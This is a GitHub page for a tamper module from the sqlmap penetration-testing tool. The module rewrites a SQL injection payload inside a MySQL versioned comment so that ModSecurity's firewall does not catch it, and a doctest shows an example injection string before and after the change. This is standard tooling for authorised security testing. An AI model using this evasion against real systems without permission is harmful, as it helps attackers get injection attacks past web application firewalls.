sqlmap/tamper/modsecurityversioned.py at master · PowerCod/sqlmap · GitHub

47 lines (35 loc) · 1.04 KB

#!/usr/bin/env python

"""

See the file 'doc/COPYING' for copying permission

"""

from lib.core.common import randomInt

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHER

def dependencies():

pass

def tamper(payload, **kwargs):

"""

Embraces complete query with versioned comment

Requirement:

* MySQL

Tested against:

* MySQL 5.0

Notes:

* Useful to bypass ModSecurity WAF/IDS

>>> import random

>>> random.seed(0)

>>> tamper('1 AND 2>1--')

'1 /*!30874AND 2>1*/--'

"""

retVal = payload

if payload:

postfix = ''

for comment in ('#', '--', '/*'):

if comment in payload:

postfix = payload[payload.find(comment):]

payload = payload[:payload.find(comment)]

break

if ' ' in payload:

retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

return retVal

Expand file tree